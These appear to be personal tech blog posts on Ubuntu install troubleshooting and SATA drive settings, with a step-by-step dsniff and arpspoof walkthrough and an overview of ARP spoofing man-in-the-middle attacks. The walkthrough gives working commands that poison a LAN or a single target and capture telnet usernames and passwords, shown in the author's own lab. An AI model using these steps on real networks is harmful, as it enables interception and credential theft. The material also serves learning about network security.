Ubuntu Install CD Buffer I/O Errors on Device sr0

sr0 is actually the cd-rom device and it turns out the disc was bad. I didn't check the md5 when I burned it and was just tossing it around my desk so I might have scratched it.

PC hanging @ Verifying DMI Pool Data

Changing the boot from hard drive to cd-rom fixed it. I think it was because I stopped a Ubuntu install while I was setting up an encrypted partition.

Sata II Drive in a Sata I Motherboard

I was planning to setup a encrypted partition with these 2 drives I just bought and I got the idea of writing random data to the drive before actually using them. I used dban to wipe them in my Desktop which supports Sata II. When I placed the drives into my Server the drives weren't showing up.

Scan devices. please wait.........
The BIOS does not been installed.Press to continue

Turns out Hitachi drives will detect if the motherboard supports Sata II or not. They configured themselves for Sata II which is why my Server couldn't see them. This feature tool from Hitachi allowed me to reconfigure them but I had to connect them to my Desktop again.

Blank SSH Key Pass Phrases

A lot of people setup blank pass phrases so they can ssh into machines without typing the password. This is a much better way.

http://en.wikipedia.org/wiki/Ssh-agent

Dsniff ARP MITM Attack

I'm going to walk through the steps involved with this attack. I'm doing this from a Ubuntu 8.04 CD so I don't skip anything.

First we need modify the repositories. I'm using sudo -i which switches me to root so I don't have type sudo before every command.

ubuntu@ubuntu:~$ sudo -i
root@ubuntu:~# vi /etc/apt/sources.list

I uncommented the following lines at the end of the file.

deb http://archive.ubuntu.com/ubuntu hardy universe
deb-src http://archive.ubuntu.com/ubuntu hardy universe
deb http://archive.ubuntu.com/ubuntu hardy-updates universe
deb-src http://archive.ubuntu.com/ubuntu hardy-updates universe
deb http://archive.ubuntu.com/ubuntu hardy-security universe
deb-src http://archive.ubuntu.com/ubuntu hardy-security universe

Then install dsniff

root@ubuntu:~# apt-get -y install dsniff

Enabling IP forwarding will allow us to forward the traffic to the actually router otherwise we would effectively kill our target's internet connection. We don't want to do that we want to forward the traffic and sniff it looking for usernames & passwords.

root@ubuntu:~# cat /proc/sys/net/ipv4/ip_forward
0
root@ubuntu:~# echo 1 > /proc/sys/net/ipv4/ip_forward
root@ubuntu:~# !cat
cat /proc/sys/net/ipv4/ip_forward
1

Now to poison everyone on our network. If your machine can't handle the traffic on this network segment then you could possible slow it down or kill everyones internet. Arpsoof is part of the dsniff package.

root@ubuntu:~# arpspoof -i eth0 172.16.0.1

We could do a single target which would be a bit more subtle with the following

root@ubuntu:~# arpspoof -i eth0 -t 172.16.0.10 172.16.0.1

You should see packets similar to the following.

0:c:29:e5:f3:80 ff:ff:ff:ff:ff:ff 0806 42: arp reply 172.16.0.1 is-at 0:c:29:e5:f3:80
0:c:29:e5:f3:80 ff:ff:ff:ff:ff:ff 0806 42: arp reply 172.16.0.1 is-at 0:c:29:e5:f3:80

If I look on my XP box at my arp cache.

C:\Documents and Settings\Administrator>arp -a

Interface: 172.16.0.10 --- 0x2
Internet Address Physical Address Type
172.16.0.1 00-0c-29-e5-f3-80 dynamic
172.16.0.106 00-0c-29-e5-f3-80 dynamic

Notice the router (172.16.0.1) has the Ubuntu's MAC address.
Now we need something to sniff it. This is where dsniff comes in.

root@ubuntu:~# dsniff -cmni eth0
dsniff: listening on eth0
-----------------
10/04/08 16:06:37 tcp 172.16.0.10.1805 -> 172.16.0.1.23 (telnet)
dj
test
ls
echo w00t
exit

The first line is the usrname (dj) and then the password (test). The rest are the command I was typing. One more reason you shouldn't use telnet because it's a clear text protocol, nothing is encrypted.

Pess ctrl+c to kill arpspoof & dsniff. You'll notice arpspoof will actually fix the target's ARP table so we don't break their internet.

ARP Spoofing/Posining MITM

This is going to be quick overview about this man in the middle attack and then I'll write a couple of tutorials that explain how to perform it. I'll also include a tutorial that shows how you can safely surf the web on public wifi spots without worrying about someone else stealing your password.

ARP (Adresss Resolution Protocol)
Computers have 2 addresses. A layer two MAC address and a layer three IP address. When a computer wants to send packets it's needs to know the MAC address of the destination. This is where ARP comes in.

If the computer doesn't know the MAC address it will send a broadcast packet out asking who has this IP address? The node that has it will respond with a unicast packet saying that it's IP address is tied to this MAC address. Below is a screenshot of wireshark capturing some ARP packets.

Once a computer recieves a ARP packet it caches it in it's ARP table. The table is a simple mapping between IP & MAC addresses. This is also sometimes referred to as the ARP cache.

dj@dj-server:~$ arp -a
? (172.16.0.1) at 00:14:F1:61:01:C0 [ether] on eth0
? (172.16.0.10) at 00:1A:92:5B:91:9D [ether] on eth0

ARP Attack
What if a computer spoofs an ARP packet with their MAC address and uses a different IP address? One of the problems with ARP is there is no authentication. If a computer receives a new ARP packet it simply updates it's ARP table.

I'll give you an example. Lets say 2 laptops are on a public wifi spot surfing the web. One is running XP and the other some flavor of Linux. Each of these laptops would probably know the default gateway's IP & MAC address. If the Linux laptop started telling the XP Laptop that the default gateway's MAC address was it's own then the XP laptop would start forwarding it's traffic for the internet to the Linux laptop.

Now the Linux laptop is the "Man in the Middle" and he can see the XP laptop's traffic. I'll get into more details when I write the tutorials that explain how to perform this attack.